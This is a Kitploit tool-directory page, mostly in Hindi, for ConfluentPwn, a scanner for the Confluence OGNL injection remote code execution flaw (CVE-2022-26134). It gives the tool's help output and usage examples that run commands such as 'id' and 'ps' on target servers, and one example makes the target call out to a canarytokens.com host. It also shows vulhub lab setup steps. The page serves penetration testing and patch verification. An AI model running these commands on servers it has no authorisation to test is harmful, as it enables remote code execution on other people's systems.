Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ConfluentPwn — Atlassian Confluence के लिए बिना प्रमाणीकरण के ONGL इंजेक्शन रिमोट कोड निष्पादन स्कैनर (CVE-2022-26134). | Kitploit
उपकरण/GitHubGitHub/redhuntlabs/confluentpwn
टोहीभेद्यता स्कैनरशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोल
GitHubredhuntlabs/confluentpwn

ConfluentPwn

Atlassian Confluence के लिए बिना प्रमाणीकरण के ONGL इंजेक्शन रिमोट कोड निष्पादन स्कैनर (CVE-2022-26134).

रिपॉजिटरी देखें
1231 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ConfluentPwn

कॉन्फ्लुएंस प्री-ऑथ ONGL इंजेक्शन रिमोट कोड एक्सीक्यूशन स्कैनर (CVE-2022-26134)।

उपयोग

नीचे दिया गया GIF टूल के डेमो उपयोग को दर्शाता है:

tooldemo

यहाँ टूल का हेल्प आउटपुट है:

root@kitploit:~
$ ./cfscan -h

  +-------------------------------+
  |    C O N F L U E N T P W N    |
  +-------------------------------+

[+] ConfluentPwn by RedHunt Labs - A Modern Attack Surface (ASM) Management Company
[+] Author: Pinaki Mondal (RHL Research Team)
[+] Continuously Track Your Attack Surface using https://redhuntlabs.com/nvadr.

Usage:
  -cmd string
        Command to execute on a vulnerable confluence server. (default "id")
  -file string
        Specify a file containing list of hosts to scan.
  -output string
        Output filepath to write the scan results into. (default "cfpwn-results.csv")
  -regex string
        Regex to match the response header for the command executed.
  -threads int
        Number of threads to use while scanning. (default 20)
  -timeout int
        HTTP timeout in seconds. (default 5)
  -user-agent string
        Custom user-agent string to use. (default "Mozilla/5.0 (ConfluentPwn) Chrome/95.0.4638.69 Safari/537.36")

Examples:
  ./cfscan 1.2.3.4:80 1.1.1.1:8080
  ./cfscan -file urls.txt
  ./cfscan -cmd 'nslookup xxxxxxxxxxxxxxxxx.canarytokens.com 1.1.1.1:80'
  ./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443

लक्ष्य निर्दिष्ट करना

लक्ष्य दो तरीकों से निर्दिष्ट किए जा सकते हैं:

  • कमांड लाइन के माध्यम से सीधे URL निर्दिष्ट करना।
    root@kitploit:~
    ./cfscan target1 target2 ...
    
  • -file तर्क का उपयोग करके स्कैन करने के लिए URL की सूची वाली फ़ाइल निर्दिष्ट करना।
    root@kitploit:~
    ./cfscan -file targets.txt
    

समवर्तीता, टाइमआउट और यूज़र-एजेंट

संसाधित किए जाने वाले अधिकतम समवर्ती लक्ष्यों की संख्या को -threads तर्क का उपयोग करके नियंत्रित किया जा सकता है। डिफ़ॉल्ट समवर्ती मान 20 है।

HTTP टाइमआउट मान सेकंड में -timeout तर्क का उपयोग करके निर्दिष्ट किया जा सकता है। डिफ़ॉल्ट टाइमआउट 5 सेकंड है।

यदि उपयोगकर्ता अपने लॉग में UA स्ट्रिंग्स को ट्रैक करना चाहता है, तो कस्टम यूज़र-एजेंट को -user-agent फ्लैग का उपयोग करके निर्दिष्ट किया जा सकता है।

आउटपुट

उत्पन्न आउटपुट एक CSV फ़ाइल में लिखा जाता है, जिसके गंतव्य को -output फ्लैग का उपयोग करके निर्दिष्ट किया जा सकता है। डिफ़ॉल्ट आउटपुट फ़ाइल cfscan-results.csv उत्पन्न होती है।

आउटपुट में 4 कॉलम होते हैं:

  • target
  • confluence version
  • vulnerability status
  • command output

कमांड निर्दिष्टीकरण और मिलान

कमजोर सर्वर पर चलाए जाने वाले कमांड को -cmd तर्क का उपयोग करके निर्दिष्ट किया जा सकता है। कमांड के आउटपुट से मिलान करने के लिए एक नियमित अभिव्यक्ति निर्दिष्ट की जाती है — जिसे -regex फ्लैग का उपयोग करके उल्लेख किया जा सकता है।

डिफ़ॉल्ट रूप से चलाया जाने वाला कमांड id है, और कमांड के आउटपुट से मिलान करने के लिए उपयोग की जाने वाली regex uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\) है।

फ्लैग को एक साथ उपयोग करना इस प्रकार दिखता है:

root@kitploit:~
./cfscan -cmd 'id' -regex 'uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\)' https://1.1.1.1
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443

परीक्षण वातावरण सेटअप करना

यदि आप टूल या सामान्य रूप से कमजोरी का परीक्षण करना चाहते हैं, तो आप इसका संदर्भ ले सकते हैं: https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134।

स्थापना प्रक्रिया काफी सरल है, नीचे दिए गए कमांड काम करते हैं:

root@kitploit:~
$ mkdir confluentpwn && cd confluentpwn && wget https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
$ docker-compose up -d

अब ऐप http://localhost:8090 पर उपलब्ध होना चाहिए।

लाइसेंस और संस्करण

टूल MIT लाइसेंस के तहत लाइसेंस प्राप्त है। देखें LICENSE। वर्तमान में टूल v0.1 पर है।

श्रेय

RedHunt Labs में अनुसंधान टीम vulhub को डॉकर परीक्षण छवि प्रदान करने के लिए धन्यवाद देना चाहती है।

हमारे अटैक सरफेस मैनेजमेंट प्लेटफ़ॉर्म के बारे में अधिक जानने के लिए, NVADR देखें।
टूल डाउनलोड करें